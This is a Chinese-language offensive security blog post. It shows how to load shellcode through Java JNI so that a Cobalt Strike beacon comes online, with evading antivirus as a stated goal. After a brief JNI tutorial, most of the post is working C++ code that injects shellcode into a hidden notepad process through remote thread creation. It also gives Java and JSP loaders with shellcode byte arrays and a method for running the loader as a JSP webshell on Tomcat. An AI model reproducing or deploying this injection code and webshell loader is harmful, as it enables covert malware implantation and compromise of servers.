之前浏览github时候发现https://github.com/Ramos-dev/R9000/blob/master/README.md
项目,作者实现了通过JAVA加载shellcode上线cobaltstrike的功能,因为关于JAVA加载shellcode上线cobaltstrike的文章和方法不是很多,其免杀的情况也不清楚,因此打算写一篇文章复现和分析如何通过JAVA加载shellcode上线cobaltstrike
。
通过查阅资料,目前已有的方法是用过JNI和JNA来实现注入shellcode的,所以先了解下JNI。
JNI 什么是JNI? JNI 是Java Native Interface的缩写,即Java本地接口。 它定义了一种虚拟机中的Java代码与用C/C++编写的本地代码交互的方式。支持从动态库中加载代码。使用JNI技术可以通过JAVA调用C/C++代码,也可以通过C/C++的代码调用Java的代码。
为什么使用JNI?
可以复用C/C++实现好的动态链接库。
编译为so/dll文件相对于JAVA class对象更加安全
C/C++开发更偏向底层,运行效率更高,也能使JAVA访问底层的特性。
如何使用JNI? 编写JAVA类
1 2 3 4 5 6 7 8 9 10 11 public class Hello { public native void testHello () ; public static void main (String[] args) { System.loadLibrary("TestJNI" ); Hello jniDemo = new Hello(); jniDemo.testHello(); } }
生成C文件头
javah -classpath . -jni Hello
创建DLL项目
使用visual studio创建DLL项目,并创建一个test666.cpp文件。
导入头文件
在JDK下的include目录下找到jni.h,include/win32下找到jni_md.h还有之前编译好的Hello.h文件拷贝到项目目录下。
再将这三个头文件导入到项目中
在jni.h中,主要包含一些类型的定义和函数的声明,如下所示:
在jin_md.h中,主要是对一些关键字声明
在Hello.h提示找不到jni.h,这里需要将<>改为“”
编写testHello函数
1 2 3 4 5 6 #include "test666.h" #include "Hello.h" JNIEXPORT void JNICALL Java_Hello_testHello (JNIEnv*, jobject) { printf ("this is C++ print" ); }
JNIEXPORT的定义为#define JNIEXPORT __declspec(dllexport)
,__declspec(dllexport)
用于Windows中的动态库中,声明导出函数、类、对象等供外面调用,也就是将这个函数声明为导出函数,供其他函数调用。 JNICALL的定义为__stdcall,代表系统调用。JNIEnv_是一个封装了几乎全部 JNI 方法的一个结构体。使用的函数名为Hello.h中定义的函数名。
使用x64编译好后,会生成一个DLL文件
在IDEA中 VM options选项中设置路径DLL文件绝对路径-Djava.library.path=C:\xxx\xxx\source\repos\JNI_Dll\x64\Release
即可正常运行JNI函数。
也可以使用System.load("C:\\xxxx\\xxxx\\source\\repos\\JNI_Dll\\x64\\Release\\JNI_Dll.dll");
的方式加载DLL并执行其中的导出函数。
如何调试JNI? 在使用JNI时,由于DLL无法独立运行,遇到错误不方便调试,所以需要了解下如何调试JNI。
首先以Debug模式运行JAVA项目,并在调用JNI函数时打上断点。
使用JAVA自带的工具jps找到运行当前类所对应的进程ID
在vs中在需要调试的函数处打断点,选择调试-》附加到进程-》找到需要调试的类的进程
附加到进程后,在JAVA中执行步过,即可运行到JNI函数处。
如何利用JNI加载shellcode? 首先编写java文件,调用native层的函数inject,并传入shellcode。
1 2 3 4 5 6 7 8 9 10 11 public class Hello { public native void inject (byte [] me) ; public static void main (String[] args) { byte buf[] = new byte [] { (byte )0xfc , (byte )0x48 , (byte )0x83 , (byte )0xe4 , (byte )0xf0 , (byte )0xe8 , (byte )0xc8 , (byte )0x00 , (byte )0x00 , (byte )0x00 , (byte )0x41 , (byte )0x51 , (byte )0x41 , (byte )0x50 , }; System.load("C:\\xxx\\xx\\xxx\\JNI_Dll.dll" ); Hello jniDemo = new Hello(); jniDemo.inject(buf); } }
编写C++文件,分配内存并将shellcode加载到内存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #define _CRT_SECURE_NO_WARNINGS #include "test666.h" #include <Windows.h> #include "Hello.h" using namespace std;void inject (LPCVOID buffer, int length) ;JNIEXPORT void JNICALL Java_Hello_inject (JNIEnv * env, jobject object, jbyteArray jdata) { jbyte* data = env->GetByteArrayElements (jdata, 0 ); jsize length = env->GetArrayLength (jdata); inject ((LPCVOID)data,(SIZE_T)length); env->ReleaseByteArrayElements (jdata, data, 0 ); } void inject (LPCVOID buffer, int length) { STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hProcess = NULL ; SIZE_T wrote; LPVOID ptr; char lbuffer[1024 ]; char cmdbuff[1024 ]; ZeroMemory (&si, sizeof (si)); si.cb = sizeof (si); ZeroMemory (&pi, sizeof (pi)); GetStartupInfo (&si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = NULL ; si.hStdError = NULL ; si.hStdInput = NULL ; GetEnvironmentVariableA ("windir" , lbuffer, 1024 ); #ifdef _IS64_ _snprintf(cmdbuff, 1024 , "%s\\SysWOW64\\notepad.exe" , lbuffer); #else _snprintf(cmdbuff, 1024 , "%s\\System32\\notepad.exe" , lbuffer); #endif if (!CreateProcessA (NULL , cmdbuff, NULL , NULL , TRUE, 0 , NULL , NULL , &si, &pi)) return ; hProcess = pi.hProcess; if (!hProcess) return ; ptr = (LPVOID)VirtualAllocEx (hProcess, 0 , length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote); if (wrote != length) return ; CreateRemoteThread (hProcess, NULL , 0 ,(LPTHREAD_START_ROUTINE)ptr, NULL , 0 , NULL ); }
执行java文件,加载shellcode上线
但当我把这个java代码改为jsp脚本在tomcat上执行却会报错,即使将JNI函数中的内容清空仍然会报这个错。
但是这个代码在JAVA中运行却没有问题,为什么在写JSP在tomcat下运行就会有问题,之前我们了解过JNI函数的调用和函数名有关系,JNI函数的函数名必须为JAVA_包名_类名_函数名
这种形式,而JSP脚本本身是无法运行的,在tomcat中会将jsp脚本转化为java再编译为class文件运行。而生成的这个JAVA文件是以org.apache.jsp为包名,文件名_jsp为类名运行的。经过这层转变JNI函数中的函数名已经不符合要求了,自然无法成功调用。
所以我们声明的类文件必须再org.apache.jsp
包下,并且外部类的类名应该为文件名_jsp,我们需要调用的JNI函数应该定义再内部类中,我这里假如我想使用test.jsp文件加载shellcode上线。首先写一个java文件内容如下。
1 2 3 4 5 6 7 8 9 package org.apache.jsp;public class test_jsp { class JniClass { public native void inject (byte [] me) ; } }
使用javac编译该文件,会生成两个class类文件。
因为要调用的JNI函数是写在内部类中,所以需要以内部类生成一个头文件,将目录切换到src目录下,执行javah org.apache.jsp.test_jsp$JniClass
生成需要的头文件。
将生成的org.apache.jsp.test_jsp$JniClass.h
放到C++的项目目录下,再添加到头文件中
最后编写test.cpp文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include "jni.h" #ifndef _Included_org_apache_jsp_test_jsp_JniClass #define _Included_org_apache_jsp_test_jsp_JniClass #ifdef __cplusplus extern "C" {#endif JNIEXPORT void JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_inject (JNIEnv *, jobject, jbyteArray) ;#ifdef __cplusplus } #endif #endif
编写test.jsp,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class JniClass { public native void inject (byte [] me) ; } %> <% byte buf[] = new byte [] { (byte )0xfc , (byte )0x48 , (byte )0x83 , (byte )0xe4 , (byte )0xf0 , (byte )0xe8 , (byte )0xc8 , (byte )0x00 , (byte )0x00 , (byte )0x00 , (byte )0x41 , (byte )0x51 , (byte )0x41 , (byte )0x50 , (byte )0x52 , (byte )0x51 , (byte )0x56 , (byte )0x48 , (byte )0x31 ,xxx };System.load("C:\\XXX\\XXX\\XXX\\JNI_Dll.dll" ); JniClass jniDemo = new JniClass(); jniDemo.inject(buf); %>
访问jsp即可上线。